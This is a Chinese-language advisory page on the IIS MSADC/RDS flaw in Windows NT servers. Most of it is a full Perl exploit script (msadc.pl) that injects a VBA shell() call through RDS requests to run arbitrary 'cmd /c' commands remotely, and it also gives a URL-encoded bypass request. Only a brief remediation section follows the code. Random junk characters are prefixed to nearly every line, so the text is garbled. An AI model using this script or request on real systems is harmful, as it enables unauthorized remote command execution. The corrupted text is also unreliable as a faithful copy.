IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
X~ H ~k1 $?dAO}f3O) 涉及程序：
wl*"Vagb Microsoft NT server
$oJ)W@> F$;vPAxbK" 描述：
0 %m}tfQ5 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
vE9M2[TJA F%}0q& 详细：
p
PF]&:&-b 如果你没有时间读详细内容的话，就删除:
l9 K 3E<g c:\Program Files\Common Files\System\Msadc\msadcs.dll
<IX)D `mf 有关的安全问题就没有了。
} - e ~[|zf*ZISG 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
jv"^_1 V&'
:S{ i 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
=Wl*.%1 b 关于利用ODBC远程漏洞的描述，请参看:
SSS)bv8m Fe4QWB6\U http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm >/kwy2 7= o2$ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
4/Vy@h"A3 http://www.microsoft.com/security/bulletins/MS99-025faq.asp hKT ]M[Pv N'#Lb0`B 这里不再论述。
CD]2a@j { =h0 83|y> 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
'pUJlPGx 6iozb~!Rr /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
WF6'mg^^ ? 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
sF/X#GG- "/EE$eU *L%i- Wg" #将下面这段保存为txt文件，然后: "perl -x 文件名"
B>^5h?(lt + UK" . #!perl
)A`Zgg'L7D #
]Tje6i F # MSADC/RDS 'usage' (aka exploit) script
yxECK&&P0# #
) OqQz7' # by rain.forest.puppy
-*?Y4}mK #
I) $of9 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
)P{I <TBI; # beta test and find errors!
5> XrNc91 &zCqF=/9U use Socket; use Getopt::Std;
4b" %171 getopts("e:vd:h:XR", \%args);
C~2/ 5 [":[ \D' print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
:qx>P_&y}z Z66b>.<8 if (!defined $args{h} && !defined $args{R}) {
[7gyF}*; print qq~
M!=WBw8Y]a Usage: msadc.pl -h <host> { -d <delay> -X -v }
Kb_R "b3v -h <host> = host you want to scan (ip or domain)
gc'C"(TO( -d <seconds> = delay between calls, default 1 second
4{'0-7} -X = dump Index Server path table, if available
^ ExA -v = verbose
[\h k_ (} -e = external dictionary file for step 5
*>=vSRL0_ /S]W< 8d Or a -R will resume a command session
2u[:3K-@, "EoC7
1 ~; exit;}
62BJ;/ ] } OeEv@^ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
dYg}qad5: if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
L`i#yXR if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
q2I;Ly\3o if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
)P^5L<q>| $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
( 8!#<$ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
iL-I#"qT, e JMD8# if (!defined $args{R}){ $ret = &has_msadc;
E)Z$7;N0x die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
~&/|J )} 26fm }QV print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Fr%LV#Q . "cmd /c ";
&`a$n2ycy $in=<STDIN>; chomp $in;
w8t,?dY $command="cmd /c " . $in ;
LzE AA{ lu^ c^ p; if (defined $args{R}) {&load; exit;}
{&Kq/sRz 5 zlgmCGow print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
guC/eSxv &try_btcustmr;
9T47U; _) 4#5w^ print "\nStep 2: Trying to make our own DSN...";
n9;+RhxA &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
UarU.~Uqi ^n@. print "\nStep 3: Trying known DSNs...";
2`#jw)dM;} &known_dsn;
$'f<4 bQ-5uFe~$B print "\nStep 4: Trying known .mdbs...";
}b9#.H9 &known_mdb;
YyX/:1 sg> \TG!M]D: if (defined $args{e}){
]E66' print "\nStep 5: Trying dictionary of DSN names...";
A9 ! gww &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
, #yE#8 R
v9?<] print "Sorry Charley...maybe next time?\n";
a;Ic !:L exit;
{~ yj]+Im PUB|XgQDY: ##############################################################################
r}i< cyL %$j)? e sub sendraw { # ripped and modded from whisker
EXDtVa Ot sleep($delay); # it's a DoS on the server! At least on mine...
j% iz> my ($pstr)=@_;
dbkccO}WB socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%3e}YQe) die("Socket problems\n");
\ ?[#>L4 if(connect(S,pack "SnA4x8",2,80,$target)){
3,j)PKf
; select(S); $|=1;
M/5e4b print $pstr; my @in=<S>;
4#uWj ?u select(STDOUT); close(S);
P sDks3cG return @in;
?) #dP8n } else { die("Can't connect...\n"); }}
b 2n.v.$G p\o=fcH%E ##############################################################################
W[o~AbU pmyHto" sub make_header { # make the HTTP request
J/j1Yf' 9 my $msadc=<<EOT
09"C &X~ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
e{/(NtKf User-Agent: ACTIVEDATA
p.q :vI$J Host: $ip
B]< 6\Z?= Content-Length: $clen
nnmn@t(%r Connection: Keep-Alive
w :Fi
2aJ 8uoFV=bj\ ADCClientVersion:01.06
c,KT1me Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
YzU(U_g$ ;YxQo
o > --!ADM!ROX!YOUR!WORLD!
v*5n$UFV Content-Type: application/x-varg
W|@EK E. k Content-Length: $reqlen
(US]e
un
O pY2Z7_ EOT
%R5APMg1 ; $msadc=~s/\n/\r\n/g;
n.C.th
>Y1 return $msadc;}
=+q9R` !L] BVxg=7%St ##############################################################################
}cyHR1K #Nxk3He]8 sub make_req { # make the RDS request
2O {@W +Mt my ($switch, $p1, $p2)=@_;
@FL?,_,Y{ my $req=""; my $t1, $t2, $query, $dsn;
XOO!jnQu vm)& WEL! if ($switch==1){ # this is the btcustmr.mdb query
|XxA Fje $query="Select * from Customers where City=" . make_shell();
9Y 1&SEsNX $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
QthHQA $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
y3$i?}?A :W,6zv(..u elsif ($switch==2){ # this is general make table query
M#on -[ $query="create table AZZ (B int, C varchar(10))";
qU SImgg $dsn="$p1";}
v$"#9oh V\@h<%{^%7 elsif ($switch==3){ # this is general exploit table query
z 8M^TV $query="select * from AZZ where C=" . make_shell();
\4I1wdd|^ $dsn="$p1";}
9i WDEk $j^Jj elsif ($switch==4){ # attempt to hork file info from index server
goi.'8M|/b $query="select path from scope()";
(,PO( $dsn="Provider=MSIDXS;";}
JxI}#iA L,.Ae
i9 elsif ($switch==5){ # bad query
.M uS"R{y $query="select";
1?"vKm $dsn="$p1";}
Eom|*2vWIC `CW8W j $t1= make_unicode($query);
!<]%V]5[_ $t2= make_unicode($dsn);
W-@A $req = "\x02\x00\x03\x00";
!!_K|}QOE $req.= "\x08\x00" . pack ("S1", length($t1));
? yzhk7j7 $req.= "\x00\x00" . $t1 ;
,St#/tu $req.= "\x08\x00" . pack ("S1", length($t2));
^AMcZ6!\ $req.= "\x00\x00" . $t2 ;
qSj2=dlW $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
_*6nTSL return $req;}
r_ T\% }% JLwN ##############################################################################
+T=Z!2L Z }.N4 / sub make_shell { # this makes the shell() statement
, " return "'|shell(\"$command\")|'";}
jdQ`Y+BC -, Cx|Nl ##############################################################################
9_[TYzpB! }6.R .*Imz sub make_unicode { # quick little function to convert to unicode
:kq J~ my ($in)=@_; my $out;
Dna0M0 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
$"C]y$} return $out;}
bLGgu# r#*k x# " ##############################################################################
oabc=N!7r {b L6%._C sub rdo_success { # checks for RDO return success (this is kludge)
,Cj1S7GFR
my (@in) = @_; my $base=content_start(@in);
q5?g/-_0[ if($in[$base]=~/multipart\/mixed/){
tYiK#N 7 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
w"$CV@AJ return 0;}
R6] /g ,xB&{ J ##############################################################################
d7qY(!& : L&Bbw ( sub make_dsn { # this makes a DSN for us
Ojq>4=Z\ my @drives=("c","d","e","f");
uQWJ7Xm print "\nMaking DSN: ";
`C`CU?D foreach $drive (@drives) {
oEU %" print "$drive: ";
W$ #FM$ U my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
KZzOs9 s "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
}rsD$ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
M PA< ? $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
s;X"E = return 0 if $2 eq "404"; # not found/doesn't exist
)Y R Vy if($2 eq "200") {
esx<feP)\ foreach $line (@results) {
eX7Ev'(H return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
}9t$Cs% } return 0;}
I Bb3A Q.#@xaX'{` ##############################################################################
ibex:W^ d*Dq=.F( sub verify_exists {
f:\jPkf' my ($page)=@_;
Rv
?G o2 my @results=sendraw("GET $page HTTP/1.0\n\n");
5i7,s return $results[0];}
"0 \U>h ct= |y(_ ##############################################################################
7 (^<Z5@ G!T)V2y sub try_btcustmr {
RVy8%[Gcq my @drives=("c","d","e","f");
bwUsE U 0 my @dirs=("winnt","winnt35","winnt351","win","windows");
+Sv`23G@ !OekN,6 foreach $dir (@dirs) {
TAl py$ print "$dir -> "; # fun status so you can see progress
pa Uh+"y> foreach $drive (@drives) {
|Y|{9Osus print "$drive: "; # ditto
B;Ab`UX#t $reqlen=length( make_req(1,$drive,$dir) ) - 28;
k1i*1Tc $reqlenlen=length( "$reqlen" );
y 562g`"U $clen= 206 + $reqlenlen + $reqlen;
B x 0^?> qyGVyi3 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Kf2*|ZHj if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Um]>B`."wK else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
u& ?J+ ]78I ##############################################################################
QgO@oV* S { ^>m3 sub odbc_error {
ZdeRLX my (@in)=@_; my $base;
%h 6?/ my $base = content_start(@in);
)X g,;^ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
zI8 Q "b $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
."l@aE=| $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
dbSIC[q $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
I
\zM\^S>] return $in[$base+4].$in[$base+5].$in[$base+6];}
yZ)GP!cM4c print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
`YAqR?Xj_< print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
%5 0}oD@ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
j!GJ$yd=-6 a{^ [< ##############################################################################
>
n Y< J o{pQDI {R sub verbose {
eG9t n{ my ($in)=@_;
HE(|x 1C)j return if !$verbose;
dN\Byl(6 print STDOUT "\n$in\n";}
wQWokpP;T7 4_ 3Jpz* ##############################################################################
> xkl7D ^%-$8sV sub save {
DhV( $&*M my ($p1, $p2, $p3, $p4)=@_;
su/l'p' open(OUT, ">rds.save") || print "Problem saving parameters...\n";
)Y}t~ Zfx print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
SLpB$puS close OUT;}
$r *7)/ LOpn PH` ##############################################################################
qEPvV yj vzA|(YC sub load {
A#M#JI-Y my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
p #hs8xz open(IN,"<rds.save") || die("Couldn't open rds.save\n");
N~ _GJw@ @p=<IN>; close(IN);
&!]$ # $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
xu(5U` K $target= inet_aton($ip) || die("inet_aton problems");
L0ig% print "Resuming to $ip ...";
F2]v]]F! $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
K#H }=Y A if($p[1]==1) {
M 8a^yoZn $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
lrB@n?hk $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
f1 (V~{N,+ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
c< L^ 1,G2 if (rdo_success(@results)){print "Success!\n";}
{[hH:
\ else { print "failed\n"; verbose(odbc_error(@results));}}
j*n Z
elsif ($p[1]==3){
8PB(<|}u if(run_query("$p[3]")){
_'0HkT{I print "Success!\n";} else { print "failed\n"; }}
z(d@!C d elsif ($p[1]==4){
>J^bs &j if(run_query($drvst . "$p[3]")){
, $EM3 print "Success!\n"; } else { print "failed\n"; }}
>[B}eS> exit;}
ZQ9!k*
^ K )~ m{ ##############################################################################
vBx*bZ Ke '? sub create_table {
rCi7q]_ my ($in)=@_;
34k<7X`I $reqlen=length( make_req(2,$in,"") ) - 28;
8M*[RlUJB $reqlenlen=length( "$reqlen" );
]+;1) $clen= 206 + $reqlenlen + $reqlen;
J * $u my @results=sendraw(make_header() . make_req(2,$in,""));
CdgZq\ return 1 if rdo_success(@results);
1OK, r` my $temp= odbc_error(@results); verbose($temp);
<DP_`[+C return 1 if $temp=~/Table 'AZZ' already exists/;
EGL1[7It` return 0;}
ojU:RRr4l$ /2pf*\u ##############################################################################
E</Um M+ R e^Q$Tog< sub known_dsn {
y`wTw/5N # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
>;kCcfS3ct my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
L ?g|: "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
#\KSv
Z "banner", "banners", "ads", "ADCDemo", "ADCTest");
hX?L/yf !cPiH6e O foreach $dSn (@dsns) {
< gB>j\: print ".";
@-nCK Yj next if (!is_access("DSN=$dSn"));
98ei Yh if(create_table("DSN=$dSn")){
8 P85qa@w print "$dSn successful\n";
4zs1 BiMG if(run_query("DSN=$dSn")){
x*&
OvI/o print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
RQ}(}|1+\ print "Something's borked. Use verbose next time\n";}}} print "\n";}
0KO_bF#EB= *c4uCI:0t ##############################################################################
gQ4Q
h; La9v97H: sub is_access {
8aZuI |z my ($in)=@_;
*t J+!1 $reqlen=length( make_req(5,$in,"") ) - 28;
__r]@hY $reqlenlen=length( "$reqlen" );
|&B.YLx $clen= 206 + $reqlenlen + $reqlen;
T`KH7y|bv my @results=sendraw(make_header() . make_req(5,$in,""));
YYU Di@K my $temp= odbc_error(@results);
<jE6ye(R verbose($temp); return 1 if ($temp=~/Microsoft Access/);
l[lUmE return 0;}
yPrp:% PS UOHU 1.3$T ##############################################################################
ss6 3/ O 4@sN =o sub run_query {
E ;$)Oz my ($in)=@_;
>y)(M(o $reqlen=length( make_req(3,$in,"") ) - 28;
7_ C;- $reqlenlen=length( "$reqlen" );
qYv/"
1 $clen= 206 + $reqlenlen + $reqlen;
*5Upb,* * my @results=sendraw(make_header() . make_req(3,$in,""));
T.O^40y return 1 if rdo_success(@results);
',j'Hf my $temp= odbc_error(@results); verbose($temp);
wr{03mQHxp return 0;}
48dIh\TH" Kk+IUs ##############################################################################
;ZZ%(P=- hV|pH)Nu{ sub known_mdb {
Bv_C *vW my @drives=("c","d","e","f","g");
Y)^qF)v,d my @dirs=("winnt","winnt35","winnt351","win","windows");
RNGTSz my $dir, $drive, $mdb;
WGj T06a\ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
rB|Mp!g%@ meunAEe # this is sparse, because I don't know of many
{;0j9rr my @sysmdbs=( "\\catroot\\icatalog.mdb",
'WK }T )o "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Gc2s Y 0 "\\system32\\certmdb.mdb",
S!U e+jW "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
{|?OKCG{ vWY}+# my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
BE. v+'c" "\\cfusion\\cfapps\\forums\\forums_.mdb",
Jcf'Zw"\ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
vRa|l GeW "\\cfusion\\cfapps\\security\\realm_.mdb",
IPmSkK "\\cfusion\\cfapps\\security\\data\\realm.mdb",
C{>@b:]p "\\cfusion\\database\\cfexamples.mdb",
4]9+ "\\cfusion\\database\\cfsnippets.mdb",
nB" r<?n< "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
]ji M "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
YV t#( jl "\\cfusion\\brighttiger\\database\\cleam.mdb",
@s!9 T "\\cfusion\\database\\smpolicy.mdb",
Kn3q q "\\cfusion\\database\cypress.mdb",
<"w;:Zs "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
V\^rs41$; "\\website\\cgi-win\\dbsample.mdb",
/.<%y 8v "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
D> M
a3g "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
e^kccz2f ); #these are just
4D I.R K9 foreach $drive (@drives) {
' 7G'R foreach $dir (@dirs){
<,p|3p3 foreach $mdb (@sysmdbs) {
*O-1zIl p print ".";
bOjvrg;Sz\ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Poy ]5 :. print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
o`S| if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
U wOZBF< print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
.,zrr&Po } else { print "Something's borked. Use verbose next time\n"; }}}}}
y oa"21E$ xLX< . z!r foreach $drive (@drives) {
(dD+?ZOO foreach $mdb (@mdbs) {
#(& ! ^X3 print ".";
usEd p if(create_table($drv . $drive . $dir . $mdb)){
gQaBQq9 print "\n" . $drive . $dir . $mdb . " successful\n";
9EzXf+f if(run_query($drv . $drive . $dir . $mdb)){
P5s'cP X print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
J'^H@L/E } else { print "Something's borked. Use verbose next time\n"; }}}}
"?EoYF_ }
i? 5jl&30 xCwd*lsM ##############################################################################
+F3 @-A (t' hWS sub hork_idx {
,jJ&x7ra8 print "\nAttempting to dump Index Server tables...\n";
B:S/
?v print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
[1Pw2MC< $reqlen=length( make_req(4,"","") ) - 28;
&LM@_P"T $reqlenlen=length( "$reqlen" );
r&sm&4)p-5 $clen= 206 + $reqlenlen + $reqlen;
x 95[*[ my @results=sendraw2(make_header() . make_req(4,"",""));
t mA j if (rdo_success(@results)){
g a| RW0 my $max=@results; my $c; my %d;
3YT>3f!\
for($c=19; $c<$max; $c++){
o C0K!{R* $results[$c]=~s/\x00//g;
[= *c8 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
's]I:06A $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
l
H:Y8j $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
gwE#,OY* $d{"$1$2"}="";}
WE\@ArY> foreach $c (keys %d){ print "$c\n"; }
?U'c;*O- } else {print "Index server doesn't seem to be installed.\n"; }}
pN# \ S*;8z}5<\ ##############################################################################
x +Vp& 1SIhW:C sub dsn_dict {
}T=0]u4, open(IN, "<$args{e}") || die("Can't open external dictionary\n");
S9kagiFX\ while(<IN>){
8a{S * $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
BeP]M1\?> next if (!is_access("DSN=$dSn"));
4AdZN5 if(create_table("DSN=$dSn")){
=^ur@E print "$dSn successful\n";
:m*r( i3 if(run_query("DSN=$dSn")){
k( l print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
MT{7I" print "Something's borked. Use verbose next time\n";}}}
d*3;6ZLy print "\n"; close(IN);}
tlhYk=yq "e]1|~ ##############################################################################
mlC_E)Ed5 IG@.W sM_ sub sendraw2 { # ripped and modded from whisker
7A0D[?^xe sleep($delay); # it's a DoS on the server! At least on mine...
m(Ghe2T: my ($pstr)=@_;
#B7_5y^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
qOaI4JP@ die("Socket problems\n");
_ dFZR if(connect(S,pack "SnA4x8",2,80,$target)){
o&4 5y& print "Connected. Getting data";
7"}<J7 "}) open(OUT,">raw.out"); my @in;
+~~FfIzf# select(S); $|=1; print $pstr;
HPl'u'.Hg while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
!V|i\O|Q2 close(OUT); select(STDOUT); close(S); return @in;
UeNa } else { die("Can't connect...\n"); }}
SF$'$6x} H}m%=?y @ ##############################################################################
E}eu]2=nU} y9W6e " sub content_start { # this will take in the server headers
l)y$c}U my (@in)=@_; my $c;
t(3<w) r2 for ($c=1;$c<500;$c++) {
dH4wyd` if($in[$c] =~/^\x0d\x0a/){
xXG-yh if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
u l[ edp_ else { return $c+1; }}}
5IOMc 4v return -1;} # it should never get here actually
'r`#u@TTZ {m1 =#* ##############################################################################
CZ &VP% 72rnMHq sub funky {
xj 6ht/qq my (@in)=@_; my $error=odbc_error(@in);
'iy &%? if($error=~/ADO could not find the specified provider/){
c_$9z>$ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
gG"W~O)yv exit;}
4w p5ghe if($error=~/A Handler is required/){
D)C^'/8q print "\nServer has custom handler filters (they most likely are patched)\n";
&8VB{ S>r exit;}
b[+G+V if($error=~/specified Handler has denied Access/){
^7Sk`V print "\nServer has custom handler filters (they most likely are patched)\n";
[k~V77w
14 exit;}}
R5 O{;/w >KF1 ]/y< ##############################################################################
*n9t~t6GHg so[i"ZM) sub has_msadc {
pfd||Z my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
{}F?eI my $base=content_start(@results);
.hI3Uv8[ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Yphru" \$ return 0;}
1rs`|iX5 nNb Oq[ ########################
RmXC
^VQ "#7~}Z B d=<"sHO 解决方案：
E,"?RbG 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
3`y9V2&b 2、移除web 目录: /msadc
